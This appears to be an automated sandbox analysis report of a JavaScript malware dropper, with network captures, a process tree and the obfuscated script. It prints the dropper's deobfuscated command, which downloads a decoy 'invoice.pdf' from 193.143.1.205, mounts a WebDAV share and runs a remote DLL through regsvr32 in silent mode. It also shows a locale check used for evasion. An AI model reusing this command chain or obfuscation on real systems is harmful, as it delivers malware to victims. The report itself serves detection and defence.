Jan 11, 2025 05:34:04.650441885 CET	1.1.1.1	192.168.2.6	0x12b9	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:35:05.904378891 CET	1.1.1.1	192.168.2.6	0x3889	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:35:05.904378891 CET	1.1.1.1	192.168.2.6	0x3889	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:35:20.379671097 CET	1.1.1.1	192.168.2.6	0x32cd	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:35:20.379671097 CET	1.1.1.1	192.168.2.6	0x32cd	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:35:44.581468105 CET	1.1.1.1	192.168.2.6	0x1a56	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:35:44.581468105 CET	1.1.1.1	192.168.2.6	0x1a56	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:33:52.985349894 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:33:53.756724119 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:33:53 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:33:53.756740093 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:33:53.756814957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 05:33:53.756828070 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 05:33:53.756839991 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 05:33:53.756902933 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 05:33:53.756913900 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 05:33:53.756926060 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 05:33:53.756936073 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 05:33:53.756947994 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 05:33:53.761765003 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49727	193.143.1.205	8888	368	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:33:55.206737041 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:33:56.010798931 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:33:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:33:47
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293459661900119816.js"
Imagebase:	0x7ff7a61e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:33:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll
Imagebase:	0x7ff672160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:33:48
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:33:48
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:33:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:33:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff672160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:33:53
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff75a2a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:33:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:33:54
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:33:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1736,i,7282805556683548627,7091639814535454976,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ooppc() {	ooppc() ➔ undefined
1	evqanc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var agsqof = this[cifwlwhi + vcxtdros + plbwgtknh + rkzebqunf + snfpaq + ztyowsh + yameqpvpa + knlrepua] ( this[emyvks + cgdjx + yggtf + plbwgtknh + gekzpdv + cifwlwhi + knlrepua][cdhodqhya + plbwgtknh + snfpaq + vcxtdros + knlrepua + snfpaq + erdvlx + ojsriobs + mjdhb + snfpaq + yggtf + knlrepua] ( emyvks + cgdjx + yggtf + plbwgtknh + gekzpdv + cifwlwhi + knlrepua + uninkj + cgdjx + bglhilh + snfpaq + pdlmfh + pdlmfh ) [bouda + snfpaq + trmter + bouda + snfpaq + vcxtdros + pgsruwt] ( hriwjwek + dpepdd + wzwqkdbjn + jklrlvggd + nkjjgbwu + cdhodqhya + hafqk + bouda + bouda + wzwqkdbjn + fgulljenj + mebkpsjbf + nkjjgbwu + hafqk + cgdjx + wzwqkdbjn + bouda + jhucppdbq + cdhodqhya + oazmi + yameqpvpa + knlrepua + plbwgtknh + oazmi + pdlmfh + uuzck + icdchc + vcxtdros + yameqpvpa + snfpaq + pdlmfh + jhucppdbq + ztyowsh + yameqpvpa + knlrepua + snfpaq + plbwgtknh + yameqpvpa + vcxtdros + knlrepua + gekzpdv + oazmi + yameqpvpa + vcxtdros + pdlmfh + jhucppdbq + vskcrkw + oazmi + yggtf + vcxtdros + pdlmfh + snfpaq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hctoe = 0 ; hctoe < evqanc[pdlmfh + snfpaq + yameqpvpa + trmter + knlrepua + bglhilh] ; ++ hctoe )
4	{
5	if ( agsqof == evqanc[hctoe] )
6	{
7	agsqof = true;
8	break ;
9	}
10	}
11	if ( agsqof !== true )
12	this[emyvks + cgdjx + yggtf + plbwgtknh + gekzpdv + cifwlwhi + knlrepua][mkpnhncbz + cftidvu + gekzpdv + knlrepua] ( );
13	this[emyvks + cgdjx + yggtf + plbwgtknh + gekzpdv + cifwlwhi + knlrepua][cdhodqhya + plbwgtknh + snfpaq + vcxtdros + knlrepua + snfpaq + erdvlx + ojsriobs + mjdhb + snfpaq + yggtf + knlrepua] ( emyvks + cgdjx + yggtf + plbwgtknh + gekzpdv + cifwlwhi + knlrepua + uninkj + cgdjx + bglhilh + snfpaq + pdlmfh + pdlmfh ) [plbwgtknh + cftidvu + yameqpvpa] ( yggtf + ujmrcvjvg + pgsruwt + uuzck + isprlwv + yggtf + uuzck + cifwlwhi + oazmi + eqdqb + snfpaq + plbwgtknh + rkzebqunf + bglhilh + snfpaq + pdlmfh + pdlmfh + uninkj + snfpaq + zvrwaw + snfpaq + uuzck + affiuug + cdhodqhya + oazmi + ujmrcvjvg + ujmrcvjvg + vcxtdros + yameqpvpa + pgsruwt + uuzck + kqnytfs + ztyowsh + yameqpvpa + ueyvit + oazmi + yxoncg + snfpaq + affiuug + emyvks + snfpaq + ojsriobs + bouda + snfpaq + bdjlhucwe + cftidvu + snfpaq + rkzebqunf + knlrepua + uuzck + affiuug + erdvlx + cftidvu + knlrepua + cljqsv + gekzpdv + pdlmfh + snfpaq + uuzck + yrvhtuggh + knlrepua + snfpaq + ujmrcvjvg + cifwlwhi + yrvhtuggh + jhucppdbq + gekzpdv + yameqpvpa + ueyvit + oazmi + gekzpdv + yggtf + snfpaq + uninkj + cifwlwhi + pgsruwt + rwtmp + uuzck + bglhilh + knlrepua + knlrepua + cifwlwhi + mwjiq + isprlwv + isprlwv + wsouyvsc + twmczyhy + iafbliew + uninkj + wsouyvsc + grgst + iafbliew + uninkj + wsouyvsc + uninkj + lmrrvmuw + rmkedfgqm + yewdk + isprlwv + gekzpdv + yameqpvpa + ueyvit + oazmi + gekzpdv + yggtf + snfpaq + uninkj + cifwlwhi + bglhilh + cifwlwhi + kqnytfs + uctfmspuw + uctfmspuw + rkzebqunf + knlrepua + vcxtdros + plbwgtknh + knlrepua + uuzck + yrvhtuggh + knlrepua + snfpaq + ujmrcvjvg + cifwlwhi + yrvhtuggh + jhucppdbq + gekzpdv + yameqpvpa + ueyvit + oazmi + gekzpdv + yggtf + snfpaq + uninkj + cifwlwhi + pgsruwt + rwtmp + uctfmspuw + uctfmspuw + yggtf + ujmrcvjvg + pgsruwt + uuzck + isprlwv + yggtf + uuzck + yameqpvpa + snfpaq + knlrepua + uuzck + cftidvu + rkzebqunf + snfpaq + uuzck + jhucppdbq + jhucppdbq + wsouyvsc + twmczyhy + iafbliew + uninkj + wsouyvsc + grgst + iafbliew + uninkj + wsouyvsc + uninkj + lmrrvmuw + rmkedfgqm + yewdk + amwmvxb + bvlvs + bvlvs + bvlvs + bvlvs + jhucppdbq + pgsruwt + vcxtdros + ueyvit + eqdqb + eqdqb + eqdqb + plbwgtknh + oazmi + oazmi + knlrepua + jhucppdbq + uctfmspuw + uctfmspuw + yggtf + ujmrcvjvg + pgsruwt + uuzck + isprlwv + yggtf + uuzck + plbwgtknh + snfpaq + trmter + rkzebqunf + ueyvit + plbwgtknh + iafbliew + lmrrvmuw + uuzck + isprlwv + rkzebqunf + uuzck + jhucppdbq + jhucppdbq + wsouyvsc + twmczyhy + iafbliew + uninkj + wsouyvsc + grgst + iafbliew + uninkj + wsouyvsc + uninkj + lmrrvmuw + rmkedfgqm + yewdk + amwmvxb + bvlvs + bvlvs + bvlvs + bvlvs + jhucppdbq + pgsruwt + vcxtdros + ueyvit + eqdqb + eqdqb + eqdqb + plbwgtknh + oazmi + oazmi + knlrepua + jhucppdbq + lmrrvmuw + ticxzomww + bvlvs + yewdk + twmczyhy + iafbliew + wsouyvsc + twmczyhy + yewdk + iafbliew + lmrrvmuw + twmczyhy + rmkedfgqm + grgst + mgohag + uninkj + pgsruwt + pdlmfh + pdlmfh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\278593195329046.dll",0,false) ➔ 0
14	}
15	bvlvs = "x";
16	bvlvs = "8";
17	nkjjgbwu = "Y";
18	nkjjgbwu = "D";
19	nkjjgbwu = "n";
20	nkjjgbwu = "A";
21	nkjjgbwu = "K";
22	nkjjgbwu = "v";
23	nkjjgbwu = "M";
24	nkjjgbwu = "k";
25	nkjjgbwu = "X";
26	nkjjgbwu = "d";
27	nkjjgbwu = "M";
28	nkjjgbwu = "K";
29	nkjjgbwu = "I";
30	nkjjgbwu = "o";
31	nkjjgbwu = "T";
32	nkjjgbwu = "_";
33	fgulljenj = "z";
34	fgulljenj = "w";
35	fgulljenj = "v";
36	fgulljenj = "i";
37	fgulljenj = "c";
38	fgulljenj = "X";
39	fgulljenj = "P";
40	fgulljenj = "A";
41	fgulljenj = "A";
42	fgulljenj = "w";
43	fgulljenj = "s";
44	fgulljenj = "u";
45	fgulljenj = "h";
46	fgulljenj = "g";
47	fgulljenj = "H";
48	fgulljenj = "W";
49	fgulljenj = "n";
50	fgulljenj = "B";
51	fgulljenj = "Q";
52	fgulljenj = "Z";
53	fgulljenj = "x";
54	fgulljenj = "j";
55	fgulljenj = "d";
56	fgulljenj = "w";
57	fgulljenj = "D";
58	fgulljenj = "I";
59	fgulljenj = "G";
60	fgulljenj = "O";
61	fgulljenj = "r";
62	fgulljenj = "n";
63	fgulljenj = "N";
64	erdvlx = "C";
65	erdvlx = "o";
66	erdvlx = "I";
67	erdvlx = "x";
68	erdvlx = "U";
69	erdvlx = "h";
70	erdvlx = "i";
71	erdvlx = "Q";
72	erdvlx = "S";
73	erdvlx = "P";
74	erdvlx = "l";
75	erdvlx = "m";
76	erdvlx = "Z";
77	erdvlx = "r";
78	erdvlx = "h";
79	erdvlx = "a";
80	erdvlx = "f";
81	erdvlx = "l";
82	erdvlx = "J";
83	erdvlx = "c";
84	erdvlx = "s";
85	erdvlx = "z";
86	erdvlx = "e";
87	erdvlx = "V";
88	erdvlx = "A";
89	erdvlx = "z";
90	erdvlx = "U";
91	erdvlx = "F";
92	erdvlx = "G";
93	erdvlx = "t";
94	erdvlx = "g";
95	erdvlx = "h";
96	erdvlx = "S";
97	erdvlx = "m";
98	erdvlx = "m";
99	erdvlx = "b";
100	erdvlx = "r";
101	erdvlx = "T";
102	erdvlx = "T";
103	erdvlx = "F";
104	erdvlx = "D";
105	erdvlx = "z";
106	erdvlx = "D";
107	erdvlx = "j";
108	erdvlx = "O";
109	cdhodqhya = "W";
110	cdhodqhya = "R";
111	cdhodqhya = "s";
112	cdhodqhya = "K";
113	cdhodqhya = "P";
114	cdhodqhya = "x";
115	cdhodqhya = "N";
116	cdhodqhya = "h";
117	cdhodqhya = "C";
118	rkzebqunf = "C";
119	rkzebqunf = "L";
120	rkzebqunf = "K";
121	rkzebqunf = "H";
122	rkzebqunf = "d";
123	rkzebqunf = "L";
124	rkzebqunf = "I";
125	rkzebqunf = "J";
126	rkzebqunf = "h";
127	rkzebqunf = "k";
128	rkzebqunf = "v";
129	rkzebqunf = "Z";
130	rkzebqunf = "M";
131	rkzebqunf = "s";
132	knlrepua = "E";
133	knlrepua = "A";
134	knlrepua = "g";
135	knlrepua = "j";
136	knlrepua = "A";
137	knlrepua = "I";
138	knlrepua = "S";
139	knlrepua = "t";
140	knlrepua = "v";
141	knlrepua = "f";
142	knlrepua = "E";
143	knlrepua = "p";
144	knlrepua = "T";
145	knlrepua = "B";
146	knlrepua = "j";
147	knlrepua = "O";
148	knlrepua = "U";
149	knlrepua = "R";
150	knlrepua = "q";
151	knlrepua = "j";
152	knlrepua = "f";
153	knlrepua = "Y";
154	knlrepua = "j";
155	knlrepua = "J";
156	knlrepua = "c";
157	knlrepua = "F";
158	knlrepua = "k";
159	knlrepua = "u";
160	knlrepua = "J";
161	knlrepua = "n";
162	knlrepua = "I";
163	knlrepua = "O";
164	knlrepua = "w";
165	knlrepua = "L";
166	knlrepua = "Q";
167	knlrepua = "s";
168	knlrepua = "H";
169	knlrepua = "R";
170	knlrepua = "c";
171	knlrepua = "s";
172	knlrepua = "y";
173	knlrepua = "V";
174	knlrepua = "x";
175	knlrepua = "m";
176	knlrepua = "t";
177	mgohag = "M";
178	mgohag = "c";
179	mgohag = "y";
180	mgohag = "V";
181	mgohag = "F";
182	mgohag = "r";
183	mgohag = "w";
184	mgohag = "R";
185	mgohag = "6";
186	cifwlwhi = "p";
187	cifwlwhi = "d";
188	cifwlwhi = "G";
189	cifwlwhi = "o";
190	cifwlwhi = "A";
191	cifwlwhi = "u";
192	cifwlwhi = "X";
193	cifwlwhi = "F";
194	cifwlwhi = "P";
195	cifwlwhi = "z";
196	cifwlwhi = "C";
197	cifwlwhi = "j";
198	cifwlwhi = "R";
199	cifwlwhi = "Y";
200	cifwlwhi = "j";
201	cifwlwhi = "z";
202	cifwlwhi = "H";
203	cifwlwhi = "v";
204	cifwlwhi = "J";
205	cifwlwhi = "W";
206	cifwlwhi = "i";
207	cifwlwhi = "s";
208	cifwlwhi = "Q";
209	cifwlwhi = "v";
210	cifwlwhi = "G";
211	cifwlwhi = "p";
212	cifwlwhi = "q";
213	cifwlwhi = "k";
214	cifwlwhi = "Z";
215	cifwlwhi = "q";
216	cifwlwhi = "S";
217	cifwlwhi = "z";
218	cifwlwhi = "e";
219	cifwlwhi = "V";
220	cifwlwhi = "L";
221	cifwlwhi = "K";
222	cifwlwhi = "C";
223	cifwlwhi = "P";
224	cifwlwhi = "T";
225	cifwlwhi = "S";
226	cifwlwhi = "Q";
227	cifwlwhi = "S";
228	cifwlwhi = "p";
229	cifwlwhi = "p";
230	pdlmfh = "d";
231	pdlmfh = "R";
232	pdlmfh = "A";
233	pdlmfh = "m";
234	pdlmfh = "I";
